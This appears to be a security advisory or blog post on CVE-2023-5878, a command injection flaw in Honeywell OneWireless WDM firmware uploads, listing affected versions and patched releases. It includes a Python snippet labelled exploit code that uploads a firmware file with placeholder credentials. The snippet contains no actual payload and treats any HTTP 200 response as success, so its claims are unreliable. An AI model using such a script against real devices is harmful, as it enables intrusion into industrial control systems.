CVE-2023-5878: Honeywell OneWireless WDM Command Injection Vulnerability and Patch Release

A command injection vulnerability has been discovered in Honeywell's OneWireless Wireless Device Manager (WDM) software which could potentially be exploited by authenticated attackers. This post aims to explain the details of this vulnerability, its associated risks, and the steps that can be taken to mitigate the issue.

Affected Versions

The Honeywell OneWireless WDM versions affected by this vulnerability are R310.x, R320.x, R321.x, R322.1, R322.2, R323.x, and R330.1.

Vulnerability Details

The CVE-2023-5878 vulnerability is a result of insufficient input validation in the firmware update process, which allows an attacker to inject malicious commands into the system. When successfully exploited, this vulnerability could enable an attacker to execute arbitrary commands on the affected WDM, potentially compromising the device's security and integrity.

Exploit Scenario

An attacker who gains authenticated access to the Honeywell OneWireless WDM system could potentially exploit this vulnerability by sending a specially crafted firmware update containing malicious commands to the target device. The following is a simple code snippet to illustrate such an attack:

# CVE-2023-5878 Exploit Code
import requests



target_url = "https://<target-WDM-IP>/upload_firmware";
firmware_file = "malicious_firmware.bin"

# Authenticated session with the target WDM
session = requests.Session()
session.auth = ("<username>", "<password>")

payload = {"file": open(firmware_file, "rb")}

# Send the malicious firmware update
response = session.post(target_url, files=payload)

if response.status_code == 200:
    print("Exploit successful.")
else:
    print("Exploit failed.")

Mitigation Steps

Honeywell has acknowledged this vulnerability and recommends updating to either version R322.3, R330.2, or the most recent version of their OneWireless WDM software as soon as possible. The patch releases and associated release notes can be found on the Honeywell Product Security website at the following links:

- Honeywell OneWireless WDM R322.3 Release Notes
- Honeywell OneWireless WDM R330.2 Release Notes

Conclusion

It is crucial to keep Honeywell OneWireless WDM up-to-date to ensure the security of the system and to prevent exploitation of this command injection vulnerability. Organizations utilizing the affected versions of WDM should take immediate action to apply the recommended patches and follow Honeywell's guidelines to minimize the risk of a potential attack.

Timeline

Published on: 02/06/2025 15:15:12 UTC